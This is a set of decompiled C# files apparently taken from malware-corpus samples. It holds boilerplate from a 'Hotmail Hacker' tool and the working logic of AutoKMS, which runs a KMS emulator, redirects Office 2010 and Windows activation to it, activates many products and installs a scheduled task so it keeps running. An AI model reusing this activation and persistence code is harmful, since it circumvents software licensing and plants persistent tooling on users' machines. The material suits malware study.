[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Hotmail_Hacker.My.MySettings
|
||||
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Hotmail_Hacker.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
MySettings defaultInstance = MySettings.defaultInstance;
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Hotmail_Hacker.My.MySettingsProperty
|
||||
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Hotmail_Hacker.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings
|
||||
{
|
||||
get
|
||||
{
|
||||
MySettings settings = MySettings.Default;
|
||||
return settings;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Hotmail_Hacker.My.Resources.Resources
|
||||
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Hotmail_Hacker.My.Resources
|
||||
{
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) Hotmail_Hacker.My.Resources.Resources.resourceMan, (object) null))
|
||||
Hotmail_Hacker.My.Resources.Resources.resourceMan = new ResourceManager("Hotmail_Hacker.Resources", typeof (Hotmail_Hacker.My.Resources.Resources).Assembly);
|
||||
return Hotmail_Hacker.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Hotmail_Hacker.My.Resources.Resources.resourceCulture;
|
||||
set => Hotmail_Hacker.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static Bitmap Untitled_1 => (Bitmap) RuntimeHelpers.GetObjectValue(Hotmail_Hacker.My.Resources.Resources.ResourceManager.GetObject("Untitled-1", Hotmail_Hacker.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
+123
File diff suppressed because one or more lines are too long
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyFileVersion("2.1.6.0")]
|
||||
[assembly: Guid("58acc958-754c-480c-9c3b-77a6573ae75e")]
|
||||
[assembly: AssemblyTitle("AutoKMS")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyProduct("AutoKMS")]
|
||||
[assembly: AssemblyCopyright("CODYQX4 & Bosh")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+381
@@ -0,0 +1,381 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.AutoKMS
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using Office_2010_Toolkit;
|
||||
using Office_2010_Toolkit.Configuration;
|
||||
using Office_2010_Toolkit.Logic;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using System.ServiceProcess;
|
||||
|
||||
namespace AutoKMS
|
||||
{
|
||||
internal class AutoKMS
|
||||
{
|
||||
private StreamWriter log;
|
||||
private string logWrite;
|
||||
public static bool AutoKMSServiceEnabled;
|
||||
|
||||
public void RunAutoKMS()
|
||||
{
|
||||
AutoKMS.AutoKMS.AutoKMSServiceEnabled = Common.IsAutoKMSServiceInstalled();
|
||||
if (AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
ServiceController serviceController = new ServiceController();
|
||||
serviceController.ServiceName = nameof (AutoKMS);
|
||||
if (serviceController.Status.ToString().ToLower() == "stopped")
|
||||
serviceController.Start();
|
||||
}
|
||||
this.log = !Settings.AutoKMSSettings.Logging ? new StreamWriter(Directory.GetCurrentDirectory() + "\\AutoKMS.tmp", true) : new StreamWriter(Directory.GetCurrentDirectory() + "\\AutoKMS.log", true);
|
||||
this.logWrite = "------------------------------------";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
this.logWrite = "AutoKMS Ran At " + (object) DateTime.Now + ".";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
if (Settings.AutoKMSSettings.UseKMSEmulator)
|
||||
{
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.StartKMSEmulator();
|
||||
this.logWrite = "Started KMSEmulator.exe";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
if (Settings.AutoKMSSettings.KMSPID != string.Empty)
|
||||
{
|
||||
if (Common.isValidPID(Settings.AutoKMSSettings.KMSPID))
|
||||
{
|
||||
KMSEditor.WritePIDToMemory(Settings.AutoKMSSettings.KMSPID);
|
||||
this.logWrite = "Changed KMS PID To: " + Settings.AutoKMSSettings.KMSPID;
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.AutoKMSSettings.KMSPID = string.Empty;
|
||||
Settings.MakeNewAutoKMSINIFile();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Copy Or Start KMSEmulator.exe";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
this.log.Close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
this.logWrite = "Attempting To Activate Office 2010." + Environment.NewLine;
|
||||
this.log.Write(this.logWrite);
|
||||
if (!Common.OfficeInstalled)
|
||||
{
|
||||
this.logWrite = "Office 2010 Is Not Installed!" + Environment.NewLine;
|
||||
this.log.Write(this.logWrite);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.logWrite = "Checking Installed Office KMS Products.";
|
||||
Common.GetLicConfigStatus();
|
||||
if (Common.AccessVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Access KMS Installed.";
|
||||
if (Common.ExcelVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Excel KMS Installed.";
|
||||
if (Common.GrooveVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "SharePoint Workspace KMS Installed.";
|
||||
if (Common.InfoPathVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "InfoPath KMS Installed.";
|
||||
if (Common.OneNoteVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "OneNote KMS Installed.";
|
||||
if (Common.OutlookVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Outlook KMS Installed.";
|
||||
if (Common.PowerPointVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "PowerPoint KMS Installed.";
|
||||
if (Common.ProjectProVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Project Professional KMS Installed.";
|
||||
if (Common.ProjectStdVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Project Standard KMS Installed.";
|
||||
if (Common.ProPlusVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Professional Plus KMS Installed.";
|
||||
if (Common.PublisherVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Publisher KMS Installed.";
|
||||
if (Common.SmallBusBasicsVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Small Business Basics KMS Installed.";
|
||||
if (Common.StandardVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Standard KMS Installed.";
|
||||
if (Common.VisioPremVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Visio Premium KMS Installed.";
|
||||
if (Common.VisioProVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Visio Professional KMS Installed.";
|
||||
if (Common.VisioStdVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Visio Standard KMS Installed.";
|
||||
if (Common.WordVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Word KMS Installed.";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.SetKMSHost();
|
||||
this.logWrite = "Successfully Set Office KMS Host To " + Settings.AutoKMSSettings.KMSServer;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Set Office KMS Host To " + Settings.AutoKMSSettings.KMSServer;
|
||||
}
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.AccessVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Access.";
|
||||
this.ActivateKMS("8ce7e872-188c-4b98-9d90-f8f90b7aad02");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.ExcelVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Excel.";
|
||||
this.ActivateKMS("cee5d470-6e3b-4fcc-8c2b-d17428568a9f");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.GrooveVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate SharePoint Workspace.";
|
||||
this.ActivateKMS("8947d0b8-c33b-43e1-8c56-9b674c052832");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.InfoPathVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate InfoPath.";
|
||||
this.ActivateKMS("ca6b6639-4ad6-40ae-a575-14dee07f6430");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.OneNoteVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate OneNote.";
|
||||
this.ActivateKMS("ab586f5c-5256-4632-962f-fefd8b49e6f4");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.OutlookVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Outlook.";
|
||||
this.ActivateKMS("ecb7c192-73ab-4ded-acf4-2399b095d0cc");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.PowerPointVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate PowerPoint.";
|
||||
this.ActivateKMS("45593b1d-dfb1-4e91-bbfb-2d5d0ce2227a");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.ProjectProVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Project Professional.";
|
||||
this.ActivateKMS("df133ff7-bf14-4f95-afe3-7b48e7e331ef");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.ProjectStdVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Project Standard.";
|
||||
this.ActivateKMS("5dc7bf61-5ec9-4996-9ccb-df806a2d0efe");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.ProPlusVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Professional Plus.";
|
||||
this.ActivateKMS("6f327760-8c5c-417c-9b61-836a98287e0c");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.PublisherVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Publisher.";
|
||||
this.ActivateKMS("b50c4f75-599b-43e8-8dcd-1081a7967241");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.SmallBusBasicsVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Small Business Basics.";
|
||||
this.ActivateKMS("ea509e87-07a1-4a45-9edc-eba5a39f36af");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.StandardVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Standard.";
|
||||
this.ActivateKMS("9da2a678-fb6b-4e67-ab84-60dd6a9c819a");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.VisioPremVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Visio Premium.";
|
||||
this.ActivateKMS("92236105-bb67-494f-94c7-7f7a607929bd");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.VisioProVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Visio Professional.";
|
||||
this.ActivateKMS("e558389c-83c3-4b29-adfe-5e4d7f46c358");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.VisioStdVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Visio Standard.";
|
||||
this.ActivateKMS("9ed833ff-4f92-4f36-b370-8683a4f13275");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.WordVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Word.";
|
||||
this.ActivateKMS("2d0882e7-a4e7-423b-8ccc-70d91e0158b1");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Settings.AutoKMSSettings.AutoRemoveKMSHost)
|
||||
{
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.RemoveKMSHost();
|
||||
this.logWrite = "Removed Office KMS Host Registry Entry.";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Remove Office KMS Host Registry Entry.";
|
||||
}
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (Settings.AutoKMSSettings.ActivateWindows)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Windows.";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
this.ActivateKMSWindows();
|
||||
}
|
||||
if (Settings.AutoKMSSettings.UseKMSEmulator)
|
||||
{
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.StopKMSEmulator();
|
||||
this.logWrite = "Stopped KMSEmulator.";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Stop KMSEmulator.";
|
||||
}
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
}
|
||||
this.log.Close();
|
||||
if (!Settings.AutoKMSSettings.Logging)
|
||||
Common.FileDelete(Directory.GetCurrentDirectory() + "\\AutoKMS.tmp");
|
||||
if (Common.IsAutoKMSCustomTaskInstalled())
|
||||
return;
|
||||
Activation.DeleteAutoKMSNormalTask();
|
||||
Activation.MakeAutoKMSNormalTask(Directory.GetCurrentDirectory());
|
||||
}
|
||||
|
||||
public bool ActivateKMS(string SKUID)
|
||||
{
|
||||
int num = 1;
|
||||
bool flag = false;
|
||||
ManagementObject managementObject = new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionProduct.ID='" + SKUID + "'", (ObjectGetOptions) null);
|
||||
while (num < Settings.AutoKMSSettings.ActAttempts + 1)
|
||||
{
|
||||
if (!flag)
|
||||
{
|
||||
try
|
||||
{
|
||||
managementObject.InvokeMethod("Activate", (ManagementBaseObject) null, (InvokeMethodOptions) null);
|
||||
flag = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
++num;
|
||||
}
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
if (!flag)
|
||||
{
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Failed To Activate " + (object) Settings.AutoKMSSettings.ActAttempts + " Times.";
|
||||
return false;
|
||||
}
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Successfully activated after " + (object) num + " attempts.";
|
||||
return true;
|
||||
}
|
||||
|
||||
public void ActivateKMSWindows()
|
||||
{
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.SetKMSHostWindows();
|
||||
this.logWrite = "Set Windows KMS Host";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Set Windows KMS Host! Maybe this version of Windows isn't supported?";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
}
|
||||
string empty = string.Empty;
|
||||
try
|
||||
{
|
||||
foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingProduct").Get())
|
||||
{
|
||||
empty = Convert.ToString(managementObject["ID"]);
|
||||
if (Convert.ToInt32(managementObject["LicenseStatus"]) != 0)
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Query Windows License Status! Maybe this version of Windows isn't supported?";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
int num = 1;
|
||||
bool flag = false;
|
||||
ManagementObject managementObject1 = new ManagementObject("root\\CIMV2", "SoftwareLicensingProduct.ID='" + empty + "'", (ObjectGetOptions) null);
|
||||
while (num < Settings.AutoKMSSettings.ActAttempts + 1)
|
||||
{
|
||||
if (!flag)
|
||||
{
|
||||
try
|
||||
{
|
||||
managementObject1.InvokeMethod("Activate", (ManagementBaseObject) null, (InvokeMethodOptions) null);
|
||||
flag = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
++num;
|
||||
}
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
this.logWrite = flag ? "Successfully activated after " + (object) num + " attempts." : "Failed To Activate " + (object) Settings.AutoKMSSettings.ActAttempts + " Times.";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
if (!Settings.AutoKMSSettings.AutoRemoveKMSHost)
|
||||
return;
|
||||
if (AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
return;
|
||||
try
|
||||
{
|
||||
Activation.RemoveKMSHostWindows();
|
||||
this.logWrite = "Removed Windows KMS Host";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Remove Windows KMS Host! Maybe this version of Windows isn't supported?";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+79
@@ -0,0 +1,79 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.AutoKMSService
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using Office_2010_Toolkit;
|
||||
using Office_2010_Toolkit.Configuration;
|
||||
using Office_2010_Toolkit.Logic;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.ServiceProcess;
|
||||
|
||||
namespace AutoKMS
|
||||
{
|
||||
internal class AutoKMSService : ServiceBase
|
||||
{
|
||||
private IContainer components;
|
||||
private BackgroundWorker workerStart;
|
||||
public static bool WindowsKMSSet = true;
|
||||
public static bool OfficeKMSSet = true;
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.workerStart = new BackgroundWorker();
|
||||
this.workerStart.DoWork += new DoWorkEventHandler(this.workerStart_DoWork);
|
||||
this.workerStart.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.workerStart_RunWorkerCompleted);
|
||||
this.ServiceName = "AutoKMS";
|
||||
}
|
||||
|
||||
